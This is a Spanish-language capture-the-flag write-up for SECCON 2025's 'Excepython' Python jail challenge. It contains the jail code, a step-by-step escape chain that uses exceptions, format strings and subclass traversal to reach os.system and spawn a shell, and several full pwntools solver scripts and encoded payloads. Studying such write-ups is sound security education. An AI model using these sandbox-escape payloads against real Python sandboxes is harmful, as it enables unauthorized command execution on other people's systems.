Excepython - SecconCTF2025
Reto basado en escapar de una jail en Python mediante el uso de excepciones sin builtins
Autor del reto: Ark
Veces resuelto: 69
Dificultad: Difícil
Archivos
En este reto, se tienen los siguientes archivos:
excepython.tar.gz: Contiene el Docker de la infraestructura del reto.nc excepython.seccon.games 5000: Conexión por netcat al servidor.
1
2
3
4
5
6
excepython.tar.gz
|
├── compose.yaml
├── Dockerfile
├── flag.txt
└── jail.py
Archivos utilizados en mi repositorio de GitHub.
Analizando el código
En el archivo jail.py se encuentra el siguiente código:
1
2
3
4
5
6
7
#!/usr/local/bin/python3
ex = None
while (code := input("jail> ")) and all(code.count(c) <= 1 for c in ".,(+)"):
try:
eval(code, {"__builtins__": {}, "ex": ex})
except Exception as e:
ex = e
Este script es una jail de Python que permite al usuario evaluar expresiones, dejando que cada uno de los caracteres . , ( + solo aparezca una vez. Dicho código se ejecuta en un entorno sin funciones integradas (sin __builtins__), solo con acceso a ex, que guarda la última excepción ocurrida.
Solver
El código tiene dos restricciones principales: no se encuentran las funciones de builtins disponibles y el límite de caracteres .,(+) solo puede aparecer un máximo de 1 vez por línea.
Para resolver esta jail, se debe generar errores controlados que almacenen objetos útiles, hacer uso de walrus para reasignar la variable ex en listas de comprensión, usar cadenas de reflexión y reutilizar cada error guardado para permitir ejecutar comandos.
El desglose principal que se debe hacer es el siguiente.
Primera línea:
1/0:1
1/0
Se genera una excepción
ZeroDivisionErrorque se guarda en la variableex, permitiendo queexcontenga el objeto de excepción que usaremos como punto de entrada.Segunda línea:
"{0\x2e__class__\x2e__mro__[4]\x2e__subclasses__\x2epouet}".format(ex)1
"{0\x2e__class__\x2e__mro__[4]\x2e__subclasses__\x2epouet}".format(ex)
Para evadir el uso del
., se usa\x2e(código hexadecimal) en lugar de.para evadir la restricción.format(ex)intenta formatear la cadena usandoex- Al procesar
{0\x2e...}, Python evalúa atributos deex - El
\x2ese decodifica como.dentro del string, evadiendo el límite - Navega:
ex.__class__.__mro__[4].__subclasses__ __class__: clase de la excepción__mro__: jerarquía de clases (Method Resolution Order)[4]: accede aobject(clase base)__subclasses__: obtiene todas las subclases deobject
En este caso, Python evalúa
__subclasses__como método no llamado, y.format()lo intenta llamar sin argumentos. Esto genera un TypeError con el método bound guardado enex.obj.Tercera línea:
[[ex := ex.obj()[167]] for i in '12']1
[[ex := ex.obj()[167]] for i in '12']
ex.obj(): llama al método__subclasses__()almacenado en la excepción anterior[167]: selecciona una subclase específica del índice 167- Típicamente es algo como
<class 'warnings.catch_warnings'>o similar que tiene acceso a__builtins__ ex := ...: asigna esta clase aexusando el operador walrus (:=)for i in '12': ejecuta dos veces (técnica común en pyjails para ejecutar código)
En este punto,
excontiene una clase que tiene acceso a los builtins.Cuarta línea
"{0\x2eobj\x2e__init__\x2e__builtins__[__import__]\x2epouet}".format(ex)1
"{0\x2eobj\x2e__init__\x2e__builtins__[__import__]\x2epouet}".format(ex)
- Navega desde
ex→__init__→__builtins__→__import__ - Accede a la función
__import__que permite importar módulos - Similar a antes, genera un error que guarda
__import__enex.obj
- Navega desde
Quinta línea:
[[ex := ex.obj('os') for i in '12']]1
[[ex := ex.obj('os') for i in '12']]
ex.obj('os'): ejecuta__import__('os')importando el móduloos- Asigna el módulo
osaex
Sexta línea:
"{0\x2eobj\x2esystem\x2epouet}".format(ex)1
"{0\x2eobj\x2esystem\x2epouet}".format(ex)
- Accede a
os.system(la función para ejecutar comandos del sistema) - Guarda
os.systemenex.objmediante otro error de formato
- Accede a
Séptima línea:
ex.obj('/bin/bash')1
ex.obj('/bin/bash')
Finalmente obtenemos una terminal en el sistema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kesero㉿kali)-[~]
└─$ nc excepython.seccon.games 5000
jail> 1/0
jail> "{0\x2e__class__\x2e__mro__[4]\x2e__subclasses__\x2epouet}".format(ex)
jail> [[ex := ex.obj()[167]] for i in '12']
jail> "{0\x2eobj\x2e__init__\x2e__builtins__[__import__]\x2epouet}".format(ex)
jail> [[ex := ex.obj('os') for i in '12']]
jail> "{0\x2eobj\x2esystem\x2epouet}".format(ex)
jail> ex.obj('/bin/bash')
ls /
app bin boot dev etc flag-d108ec7a911b72568e8aa0855f1787d8.txt home lib
lib64 media mnt opt proc root run sbin srv sys tmp usr var
cat /flag-d108ec7a911b72568e8aa0855f1787d8.txt
SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
El siguiente código realiza el proceso anterior de manera automática:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import sys
HOST = 'excepython.seccon.games'
PORT = 5000
payloads = [
b'1/0',
b'"{0\\x2e__class__\\x2e__mro__[4]\\x2e__subclasses__\\x2epouet}".format(ex)',
b'[[ex := ex.obj()[167]] for i in \'12\']',
b'"{0\\x2eobj\\x2e__init__\\x2e__builtins__[__import__]\\x2epouet}".format(ex)',
b'[[ex := ex.obj(\'os\') for i in \'12\']]',
b'"{0\\x2eobj\\x2esystem\\x2epouet}".format(ex)',
b'ex.obj(\'/bin/bash\')'
]
def exploit():
print("[*] Conectando al servidor remoto...")
io = remote(HOST, PORT)
io.recvuntil(b'jail> ')
for i, payload in enumerate(payloads, 1):
print(f"[+] Enviando payload {i}/{len(payloads)}: {payload.decode()}")
io.sendline(payload)
# Para el último payload (bash), no esperar más prompts
if i < len(payloads):
try:
io.recvuntil(b'jail> ', timeout=2)
except:
pass
print("[!] Shell obtenida")
io.sendline(b'cat ../flag*')
io.interactive()
def main():
exploit()
if __name__ == '__main__':
main()
Otras maneras
Mediante el uso de funciones Lambada se puede llegar a la misma conclusión:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
from pwn import *
if args.DEBUG:
context.log_level = "DEBUG"
host, port = "excepython.seccon.games", 5000
rr = lambda *x, **y: io.recvrepeat(*x, **y)
ru = lambda *x, **y: io.recvuntil(*x, **y)
rl = lambda *x, **y: io.recvline(*x, **y)
rc = lambda *x, **y: io.recv(*x, **y)
sla = lambda *x, **y: io.sendlineafter(*x, **y)
sa = lambda *x, **y: io.sendafter(*x, **y)
sl = lambda *x, **y: io.sendline(*x, **y)
sn = lambda *x, **y: io.send(*x, **y)
# -- Exploit goes here --
io = remote(host, port)
payloads = """
1/0
# args[0] = lambda function
# args[1] = exception instance
# args[2] = attribute name to get from exception instance
# (lambda, ZeroDivisionError('division by zero'))
{}[ lambda *args: [args[0]] + [args[1].__getattribute__( *args[2:][-2:] )], ex ]
# (lambda .__class__, <class 'ZeroDivisionError'>)
{}[ *[a:=ex.args[0], a[0]( *[*a]+["__class__"] )][1] ]
# (lambda .__class__, <class 'type'>)
{}[ *[a:=ex.args[0], a[0]( *[*a]*2+["__class__"] )][1] ]
# (lambda .__base__, <class 'object'>)
{}[ *[a:=ex.args[0], a[0]( *[*a]*2+["__base__"] )][1] ]
# (lambda .__subclasses__, <built-in method __subclasses__>)
{}[ *[a:=ex.args[0], a[0]( *[*a]*2+["__subclasses__"] )][1] ]
# (lambda .__subclasses__(), <class 'os._wrap_close'>)
{}[ *[ a:=ex.args[0], [a[0]]+[a[1]()[167]] ][1] ]
# (lambda, <function _wrap_close.__init__>)
{}[ *[a:=ex.args[0], a[0]( *[*a]*2+["__init__"] )][1] ]
# (<built-in function system>, )
{}[ [a:=ex.args[0], a[0]( *[*a]+["__globals__"] )[1]["system"] ][1] ]
ex.args[0]("sh")
"""
for payload in payloads.strip().splitlines():
payload = payload.strip()
if payload.startswith("#"): continue
payload = payload.split("#", 1)[0].strip()
if not payload: continue
sla(b"jail> ", payload.strip().encode())
io.interactive() # SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
io.close()
Otra forma con funciones Lambda:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{}[lambda f: ''.__class__,ex]
{}[[x:=ex.args[0],x][0][0](x[1])]
{}[lambda f: f.__base__,ex]
{}[*[x:=lambda f:f.args][0](ex)[0],x]
{}[*[f:=ex.args[0]][0][:1],f[2](f[1])[0]]
{}[[x:=ex.args[0],x][0][0](x[1])]
{}[lambda f: f.__subclasses__(),ex]
{}[*[x:=lambda f:f.args][0](ex)[0],x]
{}[*[f:=ex.args[0]][0][:1],[f[2](f[1])[0]][0]]
{}[*[x:=ex.args[0],x][0][0](x[1])] # edited to unpack subclasses
{}[lambda f: [c for c in f if 'wrap_close' in ''.__class__(c)][0],ex]
{}[*[x:=lambda f:f.args][0](ex)[0],x]
{}[*[f:=ex.args[0]][0][:1],[f[2](f[1])[0]][0]]
{}[[x:=ex.args[0],x][0][0](x[1])]
{}[lambda f: f.__init__,ex]
{}[*[x:=lambda f:f.args][0](ex)[0],x]
{}[*[f:=ex.args[0]][0][:1],f[2](f[1])[0]]
{}[[x:=ex.args[0],x][0][0](x[1])]
{}[lambda f: f.__globals__['sys'],ex]
{}[*[x:=lambda f:f.args][0](ex)[0],x]
{}[*[f:=ex.args[0]][0][:1],f[2](f[1])[0]]
{}[[x:=ex.args[0],x][0][0](x[1])]
{}[lambda f: f.modules['os'],ex]
{}[*[x:=lambda f:f.args][0](ex)[0],x]
{}[*[f:=ex.args[0]][0][:1],f[2](f[1])[0]]
{}[[x:=ex.args[0],x][0][0](x[1])]
{}[lambda f: f.system('sh'),ex]
{}[*[x:=lambda f:f.args][0](ex)[0],x]
{}[*[f:=ex.args[0]][0][:1],f[2](f[1])[0]]
{}[[x:=ex.args[0],x][0][0](x[1])]
Otra solución en 3 líneas es la siguiente:
1
2
3
x
'{0\x2e__traceback__\x2etb_frame\x2ef_globals[__builtins__]\x2eexec\x2ea}'.format(ex)
ex.obj('\x65\x78\x2e\x5f\x5f\x74\x72\x61\x63\x65\x62\x61\x63\x6b\x5f\x5f\x2e\x74\x62\x5f\x66\x72\x61\x6d\x65\x2e\x66\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5b\x22\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x22\x5d\x2e\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x2a\x22\x29')
Otra solución compacta:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(log_level="DEBUG")
io = remote("excepython.seccon.games", 5000)
# attack chain:
# [].__setattr__.__objclass__.__subclasses__()[167].__init__.__globals__["system"]("sh")
io.recvuntil(b"jail>")
io.sendline(b"{}[f := lambda x: x[0].__getattribute__(*x[1:])]")
io.recvuntil(b"jail>")
io.sendline(b"{}[f := ex.args[0], g := lambda x: f([x[0]]+x)]")
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args, g[0][0]([[]] + ["__setattr__"])]')
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0]([g[1]] + ["__objclass__"])]')
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0][1]([g[1]] + ["__subclasses__"])]')
io.recvuntil(b"jail>")
io.sendline(b"{}[g := ex.args[0], g[1]()[167]]")
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0][0][0][1]([g[1]] + ["__init__"])]')
io.recvuntil(b"jail>")
io.sendline(
b'{}[g := ex.args[0], g[0][0][0][0][0][0][0]([g[1]] + ["__globals__"])["system"]]'
)
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[1]("sh")]')
# cat /flag*
# SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
io.interactive()
Flag
SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
